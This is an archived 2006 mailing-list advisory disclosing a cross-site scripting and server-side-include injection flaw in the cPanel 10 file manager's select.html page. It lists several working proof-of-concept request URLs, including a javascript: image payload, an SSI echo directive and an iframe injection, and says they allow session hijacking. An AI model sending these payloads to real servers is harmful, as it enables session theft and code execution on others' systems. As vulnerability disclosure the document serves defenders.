OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
XSS in Cpanel 10

preth00nkergmail.com
Date: Sun Jun 25 2006 - 22:36:08 CDT

A new vulnerability was found in Cpanel V.10;
It happen cause the variable *&File* of the *select.html* file (in the edit-zone) just filter the <script>'s labels and the possibility can by open to other labels like
      
*Server Side Include,
*HMTL labels...
*including Javascript expressed in other ways
      
An attacker can use this vuln. for execute remote scripts in the browser of clients and take advantage of this for hijacking a session or execute SSI code in the own server
  
Exploit & Examples:

         [+] Exploit:
http://[Target]:[Port]/[Dir]/x/files/select.html?dir=/&file= <h1><b>Your code here!!</b></h1>

         [+] Javascript:
http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IMG src="javascript:alert('yeah');">

         [+] Server Side Inclusion
http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<!--#echo var="HTTP_REFERER" -->

         [+] HTML
http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IFRAME SRC="index.html">

________________________________________________
discovery by the staff of http://MexHackTeam.org
                   By Preth00nker
          Preth00nker [at] gmail [dot] com